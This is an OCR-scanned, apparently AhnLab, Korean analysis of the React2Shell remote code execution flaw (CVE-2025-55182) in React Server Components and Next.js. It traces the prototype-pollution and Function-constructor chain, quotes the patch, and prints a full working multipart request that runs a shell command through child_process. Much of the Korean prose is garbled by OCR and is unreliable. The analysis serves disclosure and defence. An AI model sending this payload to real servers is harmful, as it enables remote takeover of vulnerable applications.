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= React Server Component (RSC)E X[&dl= Flight Z2EEZ0i|A LAHE X[FEQI AH
(Remote Code Execution, RCE) #4HS EAJcICt O FUATE2 AMH & 2X[Q| S 0
= OIo[e S=iZet ap™o| 2| apEe wHSHA 248stH, %4l @ ofZ2(A|0[Md OfF|Elxof
HOot 2@ E |7 ([etCh

ot qu R
In

0] $oFE2 React AlB| ZEHEQ] Fiight Z2EZ0| S2f0lERLE B2 HO|HS AXHsFsH=

TPHOIN WA= ©17 TS A% FOMHOICL B CVE AWt CVE-2025-55182 U CVE-

2025-66478(Rejected)0|d, CVSS 10.0 ZHE2| X|HH(Critical) /&2 HII=|RUCE 7+ d2fet

Mo AR} BTO| oIF FAt glo] S46pH ZRE HTTP 24 # HEloZ AMolA Yole] Zc
Mzt

O

0| ZXl= React M| HEHEES AtE5l= 2ZE Z2f|Yf20| &S OIX|H, 3] Nextjse| 4 2t
E{(App Router)E ArEdt= OHE2|AH|0[H2 7|2 dFUCERE 0] SAH0| HTYHOZ =FICt
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- React Server Component
- 19.00
19.1.0, 1911
19.2.0

+ Next.js
- 15.0.0%E 15.0.47X|
15.1.058E 15.1.87}X|
15.2.05E{ 15.2.57HX]
15.3.05E 15.3.57HX|
15.4.02E 15.4.771X|
15.5.08F 15.5.67}X|
16.0.05E 16.0.67tX|
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1. React Server Component®} Server Actions

React At M (Server Actions)2 React 180{|A =2El 7|SC=, E2I0|HE HEXHEO A EHEO|
AP| EIREE MdsX| ¢t M & &8 AY ==Y + JTE HAERICL 0|2 Sdll /HEXt=
CIOIE XM2| 2XS Mol XA XIA7|= SAlo| SE0|HEL| ASHES Ij1FA iy

= AL

M HMo| S SF2 oz J7iat 2ot

/ CLIENT \ 3. HEYA B / SERVER \
B SEA Al
CINE—— 2. Flight 4. Flight 5'%Tg
zus EREE £ )
E f Next-Action 3l I‘ O
1.88 Multipart/form-data &
(= )
0 gailéis 6. Z3} ghat
]
k eha= Zot Hhsk gt & /

72 1. Flight Z2EEZZ 0|8¢t React AH AM¥ SF

2.React Flight Z2EZ

React Flight Z2EZ2 React ZEHE EZ| H|0|E, Mt{ &ZE(Server Reference) 52 AMHet 2
2O0[AE 7t 28Xo=2 MESY| floff dAE HAR ZZHl ZoHO|CE YRHAQI JSON= HE|, Cf2
o 22 =T Mo[E R M2y 4 rt

o React ¥2|HE 5! HEHE

o Promise®t Z2 H|57| H|O|E

o =2t EZX(Circular References)

o Blob, FormData & H}0|L42| H|O|E

Flight Z=2EZ2 C|0|E{E ‘chunk’2l= SEAQI HRIZ L5 2[5, 2t chunk= 1%/ IDS 7t
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$@ Promise/Chunk = £% ID chunkoi| CHot &=

$B Blob £73 ID chunk®| Blob H|O|E{ &=
3Q Map EH ID chunke Map ZiH| &=
$0-9a-f chunk &= 16Zls= IDE 7HEl chunkoil et &=

E 1.Flight IRES HEA

LIS HOZ React = Chunk Z{X|Z HHSH=0, O ZK|e| ZZEEI2 Promise.prototype 2
AEHEE=CHChunk.prototype = Object.create(Promise.prototype)). O] #+&& EZ I}Z0| Chunk
K= then HIMEE 7HK|H, Promise A& SZfSiCt.

34X Z&E chunk £ 'thenable' 2|2 THS0{ Promise dfA HIZ{LIES 2AEdt=

ZEZEQl ChMTL EICE 7|M thenable O|2F then() HIAEE 7KK U= ZHHIE LUSHH, promise 7t
thenable ZHA|0]| SHEHEICE

AhnLab 6



O|HHOj| WA=l React Server Components2| X|EAQI FfH(CVE-2025-55182, React2Shell)2
Flight Z2EZ HO|2EE A Z0|A AX|ZE3}Deserialization) Al QS| Qt2 HESE Qldf
giAisict, & Z2t0[AHENM MHZ 2 Flight T2ZEE HO|Z2=0 gt Z450| HSIX| ot &
Mot 2x|o|ct o] S0 it A FAMS IA M IIKIZ LEY = JCH, HAH| 3H2 M F

o —_ —
Hol dAZ 2tgECt

O

T

1. Fake chunk M

Reacte LHEHMOZ HZI™EHst=l H|O|EHE chunk ZM|Z 2t2[SICt Chunk M= [2Z 2]*F Z0|

'status’ 'value' ‘reason’, '_response’ £482 =Lt

Chunk(status, value, reason, response
.status = status;

.value = value;

.reason = reason;
._response = response;

2l 2. Chunk &4

MHZQ| Chunk.prototype.then &4 ZHH|0f| "status": "resolved_model" &40t UX[SHH Sk 24
HE AA| chunk QIAEIAZRZ 901611 initializeModelChunkE S =3It

Chunk.prototype.then = resolve, reject
switch ( .status) {
case "resolved_model”:

initializeModelChunk(

T2l 3. Chunk.prototype.then

S4X7F 0| &6l otz HO|2E YRME MO|Z= LHRO| fake chunk JSON ZHE HolT
initializeModelChunkE =&¢tct. O mf ZAXIe| otd HO|2EE 7HX[1 U= “_response™ £&

0| 22 chunk?l _response A4 0=Z SiEtEICE
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"then": "$1:_proto_: then",

"status": "resolved_model" // 0{7|A MH= fake chunkZ resolved_model status2 20!
"reason": -1,

"value": "{\"then\":"$B1337\""}"

"_response": { ... malicious object... }

H 2. Fake chunk Oi|A|

2. D|Z¢t ZE &3 ASQE Qlst nZ2EEIY] @F

Flight T2EZ2 ZE()QE T2E ZEE ABSIo ZHE A9 £Mof MY £ ULk 2xdle
getOutlinedModel 2fs= LHOA O] B2E X2| £ 2Edh= createModelResolver 4= LHOA &
AStCt

1on createModelResolver

- - >

(value) {
D1; #1i < path.length; ® i++) ) value = value[path[i]];
parentObject[key] = map(response, value);

21 4. F|<kst createModelResolver

Of ZE= #TZX Z=9 ZI HES AAM<e &4 7|2 MESIH =X[He=z Zfo| ¥IZsh=ol|, o
irf value[path[i]]oll sHEol= %4 O|F0 CHet ot HEX +HWSHA| 24=LCt. hasOwnProperty 0|
20 cizt =elo| 17| 2ol SZHXt= __proto__Lt constructor?t 22 XHIAIZIEQ| 'OfZ| T2
EI'E 20| ZSAH T2EEIR] HQlg HEY S22 5 UCL

0x
[0

OlAIZ2  “then™"$1._proto__then"S 0|88t ZZ 238 S HO|Z=Q| then &
2%
7H

Chunk.prototype.then &2 2EAIAH fake chunkZ thenable Z{X|2 THS & QUCL

O|ME AFEXIZt Mot 3 g2 Sl Al ZZEEIRIS QEAI|= 34 7|HS IZEEIR)] 2
& (Prototype Pollution)O|2t11 SHH, 0]|Z10] ™A =2 7|80 EICt.
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3. Function MM} =2l

O=EEIRY 2Fo=Z EF|El Function MdXtk= FE 7% _response ZiA| L] _formData.get i
MEE FHo{ME O AMZEICt ZoHOZ, response._formData.get2 O|&| LHHEQl get &7t Of
L2t EXIEE ZEE Y & U= Function MAXE XpH(7L EICH

“then™"$B1337" It IMHOIM response._formData.get &7t T=E|D, QX2 FMYE|=
response._prefixe SZX7F Moot Q| oIt & £ QUL O WMEl & K= promise

[ |
resolution ZFHOIA .then() ==t SA|0f AlH=ICY,

case "B"|:
return
(obj = parseInt(value.slice(2), 16)),

response._formData.get(response._prefix + obj)

.
;|

T2l 5. parseModelString: “$B" T4
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L -1
[E 3]2 $lo 30| ALY + = |u3t M2lel YRo|ct
Content-Type: multipart/form-data; boundary=----

WebKitFormBoundaryx8j020Vc6SWP3Sad
X-Nextjs-Html-Request-ld: SSTMXm70J_gONcx6jpQt9

—————— WebKitFormBoundaryx8j020Vc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then": "$1.__proto__:then""status": "resolved model","reason": -1,"value":
"\"then\"\"$B1337\"}""_response": {"_prefix": "v

res=process.mainModule.require(’ chlld_process ).execSync('(whoami)',{'timeout':120000}).t
oString().trim();:throw Object.assign(new Error('NEXT_REDIRECT"),

{digest: ${res} '});""_chunks": "$Q2""_formData": {"get": "$1.constructor.constructor"}}}

—————— WebKitFormBoundaryx8j020Vc6SWP3Sad
Content-Disposition: form-data; name="1"

II$@OII
—————— WebKitFormBoundaryx8j020Vc6SWP3Sad
Content-Disposition: form-data; name="2"

—————— WebKitFormBoundaryx8j020Vc6SWP3Sad--
¥ 3.React2Shell |2 34 o7l L8

name="1" £ HA|El chunk Zt2! "$@0"= chunk 02 promiseZ ZIEdt2H= 2|0|0|C}, [CHEtA

HA
chunk 10| chunk O ZHA| XIK|E EZESH| PEE =2 #XE MMoiCt,

MRl H|of

L TS

OH

-
A

|J

b 2Lt

|of
Kl

=
=

rlo

[2E 6]
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1. Request

SHRZE ZEE ‘multipart/form-data'® MHZ H&

l

2. Fake Chunk Processing
MEOM 28

g 2Ot status?t =&}
‘initializeModelChunk’ Z&.

Zl chunk& QIAt2

/ 3. Prototype Pollution

~

~—

%4 B2 B4

"$1:_proto_then” 8§44 -> Z=2
EHEE E8} ‘Chunk prototype.then’
g 2.

Fake chunki thenable®| &.

&M A2 =M

“$1:constructor:constructor” 5§44

> A2 M8 4 MY Function
Ayt =S
‘response. | formData. get' B W42

23

p
4. Inner Payload Parsing
'reviveModel' 0| M fake chunk®| ‘value'@! ‘{"then”;"$B1337"} L}4

5. Trigger
'$B1337' (Blob) =& siAst: 2%
// response._formData.get(response._prefix + obj);

l

/6 Function Constructor Manipulation
2| FEO|M ‘response’ & SAXIL FYUSH ' _response’ 0|0, AHE2E=
o) RE Al

Function('process.mainModule.require(...)exeSync(‘(whoami)');1337");

4 .

7. Execution
HHE Bt promise si4] IFO0|M “then()’ S
ofd HolzE HH™.

response K|S

24 13

IJ

6. TA|

0z

MM} 0|% getChunk(body, 0)2

OH s
IOP

g=

24 S22 M7t S20|HEZFE FAE multipart/form-data 2SS $A5H= Q=2 A|RlsiCt
MHE decodeBoundActionMetaData 45 Ed Rjéj 288 2l1 createResponseE =S

£3510 Chunk 0 7tM 2Lt

decodeBoundActionMetaData(body, serverManifest, formFieldPrefix

body =
close(body);

body = ® getChunk(body, ©);

body.® then( O {*});

if (® "fulfilled" !== body.status) throw
return body.value;

createResponse(serverManifest, formFieldPrefix, @, body);

body.® reason;

2| 7. decodeBoundActionMetaData &4

0| mh, Chunk 02| HIO|E{(Z= "0"2] JSON)= getChunk LHEQ| createPendingChunk &S Edii
X7|2t=ICt
Ahnlab 1



getChunk(response, id
chunks = response.® _chunks,
chunk = chunks.get(id);
chunk ||
((chunk = response._formData.get(response. prefix + id)),

(chunk =
|

= chunk
? Chunk("resolved_model"”, chunk, id, response
:|[>createPendingChunk response)|)|,
chunks.set(id, chunk));
return chunk;

72l 8. getChunk &4

Chunk 02| JSON HO|ZE+& "status™: "resolved_model'S ZEESt0, LHE Chunk ZHK|e| =S
LG} O|2 QI8 M= Chunk 02 thenable Z4X|2 ZH3iCt

v rawModel = {then:
> _respon
reason = -1

status = 'resolved_model’

then = '$1: proto_ :then’
value = "{"then":"$B1337"}"

72l 9. Chunk 0 HIO|2E

MH oM C|RE oM body.then(function () { }); 7F A#EICt 0| .then() ==
Chunk.prototype.theng E2|H35t11, Chunk 02| status?t "resolved_model"?l ZiE =0l
initializeModelChunk(this) 7t &=ICt,

dob 10
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initializeModelChunk(chunk
prevChunk = ® initializingChunk,
prevBlocked = initializingChunkBlockedModel;
initializingChunk = chunk;

initializingChunkBlockedModel =
rootReference =
-1 === chunk.reason ? ® : chunk.reason.toString(16),
resolvedModel = chunk.value;
chunk.status = "cyclic";
chunk.value = H
chunk.reason
try {
rawModel = JSON.parse(resolvedModel),
value = Dreviver‘*)delt:
chunk._response,
"": rawModel },

(IR}
El

rawModel,
rootReference

T2l 10. initializeModelChunk &4 &

initializeModelChunk= H[O|2EE JSON ItA = reviveModel2 SESHH (O 4) AKe] M=
g MAHCZE &3 5).

for (i value)
hasOwnProperty.call(value, i) &&
((parentObj =
@ !== reference && -1 === i.indexOf(":"
? reference + ":" + i
e),
(parentObj = reviveModel
response,
value,
i:
value[i],
parentObj

@ !== parentObj ? (value[i] = parentObj) : value[i]);
return value;

2! 11. reviveModel &4 &

Of 2HOllM = ZEX] SHYHQI A0 SA|Of HSITY.

AhnLab 13



1. Chunk.prototype.then EZ[: reviveModel2 Chunk 02| then &4 2ol
"$1.__proto__then"S X2[ICL.
- O] EXIE2 parseModelStringE 714 getOutlinedModelE }2}ZtCt O] i & iy
QX! valueQ| 742 ‘$1:_proto__:then'O|C}.

value = value.slice(1);

Oreturn getoOutlinedModel(response, value, obj, key, createModel);

|

return value;

a2l 12. parseModelString &4 Y&

- $12 Chunk 18 &=}, Chunk 12 "$@0"8 Sl CHA| Chunk O ZH|ZE 7t2(ZICt

- 48R #2| & createModelResolver gf+0A f24 HE g0l _proto_2t then £4
o ™25 Chunk.prototype.theng 25511, 0|Z Chunk 02| then £40=2 &Lts
Ct.

—_

ction createModelResolver

value: null
¥
return function (value) {
for (var i = ' D1; ®1i < path.length; i++) ® value = value[path[i]];
parentObject[key] = map(response, value);
' === key &ﬂ
ull === blocked.value &&

(blocked.value = parentObject[key]);
blocked.deps--;
@ === blocked.deps &&
"b ed" === chunk.status &&
((value = chunk.value),

n

chunk.status = "fulfilled
chunk.value = blocked.value),
I== value && wakeChunk(value, blocked.value));

2

72l 13. createModelResolver &4 A&

2. Function MAMX} Ef%|: reviveModel2 Chunk 00f ==l 2tM _response ZiH| LHEQ

" formData": {"get": "$1:constructor:constructor"}& A{2|stC}.

- 2ot SUSHA ReM AT 0|5 FA™ES Edll createModelResolver &7t HZ ["1"

AhnLab 14



=

"constructor’, "constructor']Z 2t} Object.constructor.constructor, & Y
Function MMXIE 2IE5ICE
- Ol g%t response._formData.get HIMES EHOIELE =, response._formData.get

4442 Function MAXIS Azl M@ BHECt,

() {

parseModelString(response, obj, key, value, reference

(I - NIy PGI .)CHD)HI\-J. LSl awiLci i CDPUIIDC, UGJ.HC, 9 3
}
value = value.slice(1);
3158 |C>Peturn getOutlinedModel(response, value, obj, key, createModel);

}
PROBLEMS D ERMINAL  VARIABLES

v Local
data =

formPrefix =

'@:_response:_formData:get'

J&l 14. parseModelString: constructor X{2|

$0
rir

Function MAMX} EHFJF 2t2= F, reviveModel2 Chunk 0 LWEQ| value Z=0
"{\"then\”:\”$B1337\"}”% ]I|-A0|-6|-_I-E|--

AhnlLab 15



O {
reviveModel (response, parentObj, parentKey, value, reference
else
for (1 value)
hasOwnProperty.call(value, i) &&
((parentObj =
@ !== reference && -1 === i.indexOf(":"
? reference + ":" + 1
e),
(parentObj = reviveModel
response,

value,
PROBLEMS OUTPUT DEBUG CONSOLE TERMINAL VARIABLES PORTS

v Local: reviveModel
i = 'value'
parentKey = "'

parentObj = '{"then":"$B1337"}"

reference 9’

21 15, ReviveModel

MHHo=E mAE LHE 2%= $B1337 (Blob parseModelString2
case 'B' EXo=2

parseModelString(response, obj, key, value, reference
return parseTypedArray(response, value, DataView, 1, obj, key);

case "B":
return
(obj = parseInt(value.slice(2), 16)),
3144 response. [ _formData.get(response._prefix + obj)

5
PROBLEMS OUTPUT DEBUG CONSOLE TERMINAL VARIABLES PORTS {18

v Local
data =
formPrefix =
key = "then’
obj = 4919
reference =
reference =

v {_prefix: "process.mainModule.require('child_process').execSync('(whoami)');", _chunks: Map(®@), _formData: {..}}

> _chunks =
> _formData =

_prefix = "process.mainModule.require( 'child_process"').execSync( ' (whoami)"');"

2l 16. parseModelString: $B X2| =&




Of

He 2Z2 Chunk 02| _response ZiA[0f M&E ofd IE FXIEQ! _prefix2t obj(E= Blob =X}
7

S|
shst

o —
Zetst 242 response._formData.get0f| QX2 M| S =3t

M

response._formData.get2 0|0| Function MMXIZ CHA|E[] JA2BZ, 0] =2 Function(<&Z
X7t et HO|2E>)Q= HetEICE O 1Yo HMEl g 2H|(<SHX7E et HOo|2E>)7t
LIS ZHA|Q| then £MHOF wiglt=ICY,

JavaScript Promise X{2| H|L|ZEO| then()E ==
EICH

Ot
rd
of
N
Rl
N
1
14
g

Eob MH 2tE0M A

2| A 2P0ilM mo|2E=0f| ZetEl 2F chunke| HE2 ofzhet 20| =& 4 UL

Chunk O

E2|H g (Fake Chunk) | "status™: "resolved_model" £MS MHEsIO] AHIL 0] HHE |
2ot chunk2 QIAISHL,  FZ2[E[FT JSON Iy g0l
initializeModelChunkE ZHIZ A== E2|7{3tC}.

Function E# etd =4 _response L0 =&E SHFS FRITICEL 0] &30l oM IE

EXEES HeE “_prefix"e, Function MAMXIZ HOZ CHAQI
"_formData": {"get": "$1:constructor:constructor"}7t Zg=IC},
Thenable AX then &40 "$1:_proto__then" EEE 40|, chunk 1€ Z{S
Chunk.prototype.then &5 255t1, 0| chunk 0 ZiA
thenable 2= HZBICY.
RCE %|Z E2|A value ZEO| E&E "$B1337" =7t Blob HZ&Hz}
g of, olo] Eo{Mol formData.get &7t AMHME| X|ESXHo=
RCEZ} stk
H 4.Chunk 0 &%

an
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7oz Chunk 02 &=t

"$@0" =EXES  EYSI,
d T chunk Afofof| =2t

Promise/Chunk EXE AMMSICE O|2M
FXRIt BEEO{ZICE

BA I

chunk 09 HO|Z2E= $1:__proto__:then gl
$1:constructor:constructoret Z0| **$1:x*Z A|ZSH= HZE ALESt
o &M0f ™MIHCL

Chunk 022 z2|C|2IM

getOutlinedModel &7t $12 dliASHH, Ol= chunk 12 7F42A| &
=0, chunk 19| 22 $@00|22 Z= chunk 0 2| XtA|7} valueZ
HretEICt o] Bi2tEl chunk O ZHM[7F __proto__Lt constructoret &2
OD2EERR] &4 EMHol J(dk 24%(7} EICt

H 5.Chunk1 &

Chunk 02| 2 _response ZiA| LHOJIA] "_chunks": "$Q2"7} A& &[]
ALCE $Q TFAHE Map K|S LIEHHCY.

2o|A=H J|s

M3 29 ZH([], B! HIY)S Map ZiHI($Q) & ZEo| Zo|ASH Hag

3SI0], M7t _response ZHIE LHEHOZ Rt X2 KX2[st:
g =Lt

AhnLab
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318 THX|

712 48 ACHME value LERIEQ| prototypediiA BEZE propertyZt ZXHst=X| 20lst= 2=
7t gloLt, THX|El FEO|ME= hasOwnProperty S FE7}F 37t Zig =helg £ QICt

Object2| prototypelilAM AX|Z SEE propertyZt ZXHsH=X| &It 22 FI16 FAHES IH
XIZHCE 0|2 QIsH prototype pollutiong St MY Function AR &7} KICHE[QICH, €14 ZE

2l FA| S7+SOHt

- function createModelResolver<T>(

chunk: SomeChunk<T>,

const name = path[i];
if (typeof value === 'object' && [EROMIas T ag)-call(value, name)) {

sebmarkbage 5 days agc Collaborator ~ Author

These checks were the ones that were missing. This is the critical fix. Without it, you can drill into
objects not created by the parser itself.

The rest is mainly protecting against other gadgets and to slow down reverse engineering just a bit (which seems to
have been somewhat effective especially with lims).

© &1

KernelDeimos -

Could this have also been solved by re-creating an object’'s own properties on a new object with a null prototype? If
I'm not missing something, | imagine that would avoid the “shotgun surgery” of ensuring .[ER s aas guards
anywhere which the object's properties are traversed.

©) (&1

value = value[name];

72l 17. ReactFlightClientConfigBundlerWebpack.js &8 T{X| 1
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let value = chunk.value;
for (let i = 1; i < path.length; i++) {
value = value[path[i]];

const name = path[i];

if (typeof value === 'object' && hasOwnProperty.call(value, name)) {

sebmarkbage 5 days ago Collaborator  Author

This is the other one.

The ones on the module is not that critical but good to have.

value = value[name];

72l 18. ReactFlightClientConfigBundlerWebpack.js =2 I{X| 2
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e

o|Ed 7K A0|= 7+ S0l Z2=Xel sHEM of sHZEl

S =
HTEOZ 23 MF[XIE A YH|OIE = MEiESH= Zio|ct. S I [XIE Fa20|=5t1 THHHE

ro
4t

|OkI
= |

+ SICHH @F 220 _proto__ &= constructoret 22 7[*IE7 Z2HE Flight ZEEE H|0|2
EE EIXStn Kt 22 ME6k= W T QUL Ol 2tHer siAM2 OL|X|2H izl S 1f
S 9= o =230| E & UCL

YHOIE S THEHZE, Xt 7E] HE 2o S Z|2k5H7| 2loh, HI=L| A0 EHO[X] §2 AMH

WM T2 LAMCR H|gdesh= W 1afe o Ut E= 2= M HE AIEIIE0| CHH
ot AI8AL Q1T 8 At AT 2HS FIH AFo| SHXI HISHK| Rot=S 2Hotof BItt.
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a8

CVE-2025-55182 F[fM2 %4 ¢ DAY S| SEH0| ofEH oE5HK| 2ot MER =4
E UEoid = U=XIE BEoF= 2% A[O|C) o= 7HEXIe| H[XL|A ZZ|0| Ofl =2
XtHe| Al Z2Elof| =xHsts 32 F AR (Supply Chain Vulnerability) 22, MEHAH| Mt &
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